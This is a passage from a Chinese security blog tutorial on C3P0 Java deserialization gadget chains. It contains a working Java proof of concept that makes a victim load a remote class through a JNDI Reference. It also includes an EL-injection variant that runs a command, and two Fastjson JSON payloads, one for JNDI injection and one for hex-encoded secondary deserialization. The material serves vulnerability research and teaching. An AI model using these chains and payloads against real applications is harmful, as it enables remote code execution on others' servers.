C3P0反序列化鏈
C3P0是一個開源的JDBC連接池,它實(shí)現(xiàn)了數(shù)據(jù)源與JNDI綁定,支持JDBC3規(guī)范和實(shí)現(xiàn)了JDBC2的標(biāo)準(zhǔn)擴(kuò)展說明的Connection和Statement池的DataSources對象。
即將用于連接數(shù)據(jù)庫的連接整合在一起形成一個隨取隨用的數(shù)據(jù)庫連接池(Connection pool)。
ysoserial代碼注釋中的調(diào)用鏈如下:
com.sun.jndi.rmi.registry.RegistryContext->lookup
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
自下向上的調(diào)用,從lookup看著像一個jndi注入,調(diào)用鏈比較短,直接靜態(tài)審計源碼試試。com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject
還原connectionPoolDataSource
屬性賦值
跟到com.mchange.v2.naming.ReferenceIndirector
的內(nèi)部類的方法ReferenceSerialized#getObject
,可見是有個jndi,不過仔細(xì)查看源碼發(fā)現(xiàn)contextName其實(shí)是不可控的。
看一下com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject
的流程,了解connectionPoolDataSource
屬性是怎么序列化的。
先try反序列化connectionPoolDataSource屬性,但這個屬性connectionPoolDataSource
是ConnectionPoolDataSource類的沒有實(shí)現(xiàn) Serializable,并不能反序列化
接著會拋出異常進(jìn)入catch,產(chǎn)生1個Reference
對象,然后再將他作為ReferenceSerialized
類的屬性。
所以說只有reference
屬性是可控的。
遠(yuǎn)程類加載
reference屬性可控的話com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject
中還有個點(diǎn)就可以利用了
com.mchange.v2.naming.ReferenceableUtils#referenceToObject
寫個自定義類PoolSource實(shí)現(xiàn)ConnectionPoolDataSource, Referenceable接口即可
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0 {
public static void main(String[] args) throws Exception {
String className = "Evil";
String url = "http://127.0.0.1:7999/";
PoolBackedDataSource o = new PoolBackedDataSource();
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(o, new PoolSource(className, url));
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();
// 本地測試觸發(fā)
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o0 = (Object)ois.readObject();
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("test", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
}
BeanFactory本地工廠類
上面的利用鏈因?yàn)橐玫?code>URLClassLoader,所以在高版本jdk以及不出網(wǎng)的條件下無法利用。
com.mchange.v2.naming.ReferenceableUtils#referenceToObject
這還有一個利用點(diǎn)
很容易想到j(luò)ndi高版本注入用過的BeanFactory#getObjectInstance
修改一下getReference方法返回的ref對象即可
public Reference getReference () throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "test=eval"));
ref.add(new StringRefAddr("test", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
return ref;
}
fastjson中的利用
jndi注入
代替JdbcRowSetImpl鏈?zhǔn)褂?/p>
com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
還有個jndi的點(diǎn)
這個方法只有一個調(diào)用
找調(diào)用了 inner() 的setter 方法做跳板。
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}
二次反序列化
Fastjson的低版本可用(<= 1.2.47)。
先看poc:
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}
跟進(jìn)com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
這個方法,其在構(gòu)造方法中調(diào)用
該方法自定義了一個監(jiān)聽器重寫了vetoableChange
方法
查看重寫的vetoableChange
方法,可見監(jiān)聽兩個屬性名:
-
connectionTesterClassName
屬性通過recreateConnectionTester
方法重新實(shí)例化一個ConnectionTester
對象也就無法被利用了 -
userOverridesAsString
屬性使用C3P0ImplUtils.parseUserOverridesAsString
*來處理NewValue。
截取從 HexAsciiSerializedMap 后的第二位到倒數(shù)第二位 中間的hex字符串,可以構(gòu)造形如HexAsciiSerializedMap:hex_code;
的字符串然后調(diào)用
SerializableUtils.fromByteArray
方法進(jìn)行二次反序列化
接著跟進(jìn)userOverridesAsString
屬性的setter方法,
再到java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)
調(diào)用鏈如下:
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
java.beans.VetoableChangeSupport#fireVetoableChange(java.lang.String, java.lang.Object, java.lang.Object)
java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)
java.beans.VetoableChangeListener#vetoableChange
com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
參考
https://www.cnblogs.com/CoLo/p/15850685.html#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8文章來源:http://www.zghlxwxcb.cn/news/detail-490897.html
https://blog.csdn.net/rfrder/article/details/123208761文章來源地址http://www.zghlxwxcb.cn/news/detail-490897.html
到了這里,關(guān)于Javaweb安全——反序列化漏洞-C3P0鏈的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!